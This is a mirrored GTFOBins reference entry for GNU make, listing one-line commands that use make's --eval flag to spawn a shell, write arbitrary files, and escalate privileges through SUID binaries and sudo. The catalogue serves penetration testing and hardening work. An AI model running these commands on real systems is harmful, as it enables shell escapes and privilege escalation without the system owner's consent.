1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-20 10:53:35 +02:00
GTFOBins.github.io/_gtfobins/make.md
2018-08-20 15:00:34 +02:00

708 B

description functions
All these examples only work with GNU `make` due to the lack of support of the `--eval` flag. The same can be achieved by using a proper `Makefile` or by passing the content via stdin using `-f -`.
execute-interactive file-write suid-enabled sudo-enabled
code
COMMAND='/bin/sh' make -s --eval=$'x:\n\t-'"$COMMAND"
description code
Requires a newer GNU `make` version. LFILE=file_to_write make -s --eval="$(file >$LFILE,DATA)" .
code
COMMAND='/bin/sh -p' ./make -s --eval=$'x:\n\t-'"$COMMAND"
code
COMMAND='/bin/sh' sudo make -s --eval=$'x:\n\t-'"$COMMAND"